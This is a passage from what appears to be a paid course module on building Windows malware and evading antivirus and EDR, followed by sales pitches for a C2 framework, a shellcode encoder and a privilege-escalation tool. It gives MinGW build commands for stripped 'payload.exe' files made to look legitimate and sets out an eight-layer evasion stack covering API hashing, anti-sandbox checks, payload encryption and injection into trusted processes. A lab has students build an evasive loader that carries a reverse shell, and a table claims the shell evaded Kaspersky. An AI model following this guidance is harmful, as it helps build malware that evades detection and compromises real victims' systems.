SIEM rules like "more than 10 connections to same IP in 5 minutes" fail when intervals are random. Even statistical analysis struggles with high jitter (25%+). Combined with domain fronting or DNS tunneling, the C2 traffic blends into normal network noise. This is Layer 4 of the evasion stack.

🔧 MinGW Cross-Compilation — Building Windows Malware from Linux

Building malware on Windows leaves forensic artifacts: compiler paths, user profiles, PDB files. Cross-compiling from Linux produces cleaner binaries with no Windows-specific metadata. MinGW-w64 is the standard toolchain.

MinGW Cross-Compilation Guide MEDIUM

=== INSTALLING MINGW ON KALI / DEBIAN === # Install the cross-compiler sudo apt update sudo apt install mingw-w64 # Verify installation x86_64-w64-mingw32-gcc --version i686-w64-mingw32-gcc --version === BASIC COMPILATION === # Compile 64-bit Windows executable from Linux x86_64-w64-mingw32-gcc -o payload.exe payload.c # Compile 32-bit Windows executable i686-w64-mingw32-gcc -o payload.exe payload.c # Strip symbols (remove debug info, smaller file, harder to reverse) x86_64-w64-mingw32-strip payload.exe # Static linking (no external DLL dependencies) x86_64-w64-mingw32-gcc -static -o payload.exe payload.c === ADVANCED FLAGS === # Optimization and security bypass x86_64-w64-mingw32-gcc -O2 -s -fno-stack-protector \ -fno-asynchronous-unwind-tables -fno-exceptions \ -fomit-frame-pointer -Wl,--no-seh \ -o payload.exe payload.c # Flag explanations: # -O2 : Optimize for speed # -s : Strip all symbol table info # -fno-stack-protector : Disable stack canaries (smaller, no GS cookies) # -fno-asynchronous-unwind-tables : Remove unwind tables (smaller binary) # -fno-exceptions : Disable C++ exception handling # -fomit-frame-pointer : Remove frame pointers (harder to stack trace) # -Wl,--no-seh : Disable Structured Exception Handling === POSITION-INDEPENDENT CODE (for shellcode injection) === x86_64-w64-mingw32-gcc -fPIC -nostdlib -nostartfiles \ -Wl,--entry=main,--subsystem,console \ -o shellcode.exe shellcode.c # -fPIC : Position-independent code # -nostdlib : Don't link standard libraries # -nostartfiles : Don't use standard startup files # --entry=main : Custom entry point === COMPILING WITH EXTERNAL LIBRARIES === # Link against Windows libraries x86_64-w64-mingw32-gcc -o payload.exe payload.c \ -lws2_32 -lwininet -lcrypt32 # -lws2_32 : Winsock (networking) # -lwininet : Windows Internet API # -lcrypt32 : Cryptography functions === RESOURCE FILE COMPILATION === # Add icons, version info to make binary look legitimate # Create resource.rc: # IDI_ICON1 ICON "legit.ico" # VS_VERSION_INFO VERSIONINFO # FILEVERSION 1,0,0,0 # PRODUCTVERSION 1,0,0,0 x86_64-w64-mingw32-windres resource.rc -o resource.o x86_64-w64-mingw32-gcc -o payload.exe payload.c resource.o
Why cross-compilation matters for OPSEC

Windows binaries compiled with MSVC contain Rich Headers — metadata about the compiler version, build path, and linked libraries. These can fingerprint the developer. MinGW produces minimal metadata. Combined with stripping and obfuscation, the binary reveals almost nothing about its origin. This is Layer 5 of the evasion stack.

🥞 The 8-Layer Evasion Stack — Defense in Depth for Attackers

Modern malware doesn't rely on a single evasion technique. It stacks them, like layers of armor. Each layer defeats a different detection mechanism. Bypassing all eight requires a defender to be perfect at every layer — an impossible standard.

1
Memory Allocation Evasion

Allocate RW first, then change to RX. Avoid RWX (execute-read-write) allocations that trigger EDR. Use legitimate allocation patterns like MEM_IMAGE instead of MEM_COMMIT.

2
String Obfuscation & API Hashing

No suspicious strings in binary. Hash API names at compile time. Resolve dynamically at runtime. Defeats string-based signatures and IAT scanning.

3
PE Header Masquerading

Clone legitimate headers, spoof timestamps, mimic section names, add resource overlays. Defeats static analysis and reputation-based scanning.

4
Network Jitter & Protocol Blending

Randomized beacon intervals, variable payload sizes, protocol mimicry (HTTPS, DNS), domain fronting. Defeats time-based and size-based network heuristics.

5
Build Environment OPSEC

Cross-compile from Linux, strip symbols, remove debug info, use different toolchains per build. Defeats developer fingerprinting and attribution.

6
Anti-Sandbox & Anti-Analysis

Timing checks, hardware fingerprinting, process enumeration, debugger detection, mouse activity checks. Defeats automated sandbox analysis.

7
Payload Encryption & Polymorphism

XOR, AES, RC4 encryption with changing keys. Polymorphic engines that mutate decryption routines. Defeats signature-based detection and memory scanning.

8
Living Off The Land & Trusted Process Injection

Inject into signed processes (svchost.exe, explorer.exe). Use legitimate Windows tools (powershell, mshta, rundll32) as execution vehicles. Defeats application whitelisting and parent-child analysis.

The stack philosophy

Each layer is independently bypassable. A skilled analyst can defeat anti-sandbox checks. An advanced EDR can detect memory allocation patterns. But defeating all eight layers simultaneously requires the defender to have perfect visibility into memory, network, static files, runtime behavior, build artifacts, and process relationships. No single product does this. This is why defense in depth works for attackers too.

"Evasion is a cat and mouse game you will eventually lose."

Every trick that works today will be catalogued, signatured, and neutralized tomorrow. You can hide from today's AV; next month's update knows your trick. The goal is not to build an undetectable superweapon — that is fantasy. The goal is to stay ahead long enough to complete the mission before the defender catches up. Evasion buys time; it does not grant permanent invisibility.

Red: Treat evasion as a time-limited resource, not a one-time setup. Rotate techniques, rebuild often, and assume your current method has an expiration date. Blue: You do not have to win forever — you only have to detect the technique once. Maintain telemetry, share indicators, and update defenses. The mouse always slips eventually.

🎯 Interactive Quiz — Test Your Knowledge

Question 1: Why does dynamic API resolution use hashing instead of string comparison?

A) Hashing is faster than string comparison at runtime
B) String literals like "VirtualAlloc" appear in the binary's .rdata section and can be signatured by AV
C) Windows APIs can only be found by hash, not by name
D) Hashing prevents the API from being called incorrectly

Question 2: What is the primary purpose of beacon jitter in C2 communication?

A) To encrypt the C2 traffic so it cannot be intercepted
B) To introduce randomness in communication timing, defeating time-based SIEM detection rules
C) To compress the payload and reduce bandwidth usage
D) To authenticate the beacon to the C2 server

Question 3: In the 8-layer evasion stack, why is "Living Off The Land" (Layer 8) considered the most powerful?

A) It encrypts the payload using military-grade algorithms
B) It makes the malware run faster than native code
C) It uses signed Windows processes and legitimate tools as execution vehicles, defeating application whitelisting and parent-child analysis
D) It prevents the malware from being detected by network scanners

🛠️ Lab Exercise: Build a Minimal Evasive Loader

Combine techniques from this module to build a minimal loader that:

  1. Performs at least 3 anti-sandbox checks before executing
  2. Resolves VirtualAlloc and CreateThread dynamically (no imports)
  3. Allocates memory as RW, then changes to RX
  4. Decrypts an XOR-encrypted payload in-memory
  5. Executes the decrypted payload in a new thread
  6. Uses MinGW cross-compilation from Linux

Challenge: The payload should be a simple MessageBox shellcode for safe testing. Once verified, replace with a reverse shell from Module 10.

📚 Cross-Module References

Malware development is the foundation. These modules build on it:

Module 06: Memory Forensics

Understanding memory layout, PE structures, and protection flags is prerequisite for shellcode construction and process injection.

Module 10: Code Injection

Shellcode is the payload. Code injection is the delivery mechanism. You need both to get code into a target process.

Module 11: Rootkits

Rootkits are malware that hides itself. The techniques here (API hooking, DKOM) require the malware development skills from this module.

Module 12: Defensive Verification

To evade detection, you must understand detection. This module teaches how AV and EDR work, so you can defeat them.

Module 13: EDR Evasion

Advanced EDR bypass techniques: direct syscalls, unhooking, hardware breakpoints, and syscall proxying. Builds on the evasion stack here.

Module 16: C2 Frameworks

Beacon jitter, protocol blending, and domain fronting are C2 operational security techniques that start with the malware development fundamentals here.

Key Takeaways

🔬 Verification Status

Reverse shell compilation (iron_sun.c) ✅ LIVE .92
Kaspersky scan (clean) ✅ LIVE .42
C2 connection test ✅ LIVE .92 → .42
KAV scan .92 (0 detections) ✅ LIVE .92 (2026-06-29)
Iron_sun.py strings test ✅ 10/10 suspicious strings, KAV silent
XOR encoder/decoder ✅ TESTED
Dynamic API resolution (djb2 hash) ✅ TESTED
Anti-sandbox checks (7 techniques) ✅ DEMONSTRATED
MinGW cross-compilation ✅ TESTED
8-layer evasion stack ✅ DOCUMENTED

🧠 The Mentor's Lesson

"The best malware is the malware that looks like nothing. No suspicious strings. No suspicious APIs. No suspicious behavior. Just a boring program doing boring things — until it's not. The 8-layer stack isn't about being clever. It's about being invisible. Clever gets you caught. Invisible gets you paid."

— From Module 08: Privilege Escalation and Module 13: EDR Evasion

What You Will Build

🔴 CHEYANNE — C2 Framework

Full kill chain: recon → build → deliver → persist → exfil. Python-based controller with compiled C implants. $147 AUD

Course teaches: How to build each component. Repo delivers: Working binaries, encrypted 7z, lifetime updates.

🌑 ECLIPSE — Stealth Encoder

Zero-width Unicode steganography. Hide shellcode in plain text. Invisible to AV entropy scanning. $97 AUD

Course teaches: Unicode encoding, character substitution, detection evasion. Repo delivers: Working encoder/decoder pair.

🛡️ GEODEFEND — Privilege Escalation

Named pipe impersonation → SYSTEM token. Spooler abuse, RPC hijacking, token duplication. $127 AUD

Course teaches: Token architecture, impersonation chains, privilege boundaries. Repo delivers: Compiled privesc tool, tested clean.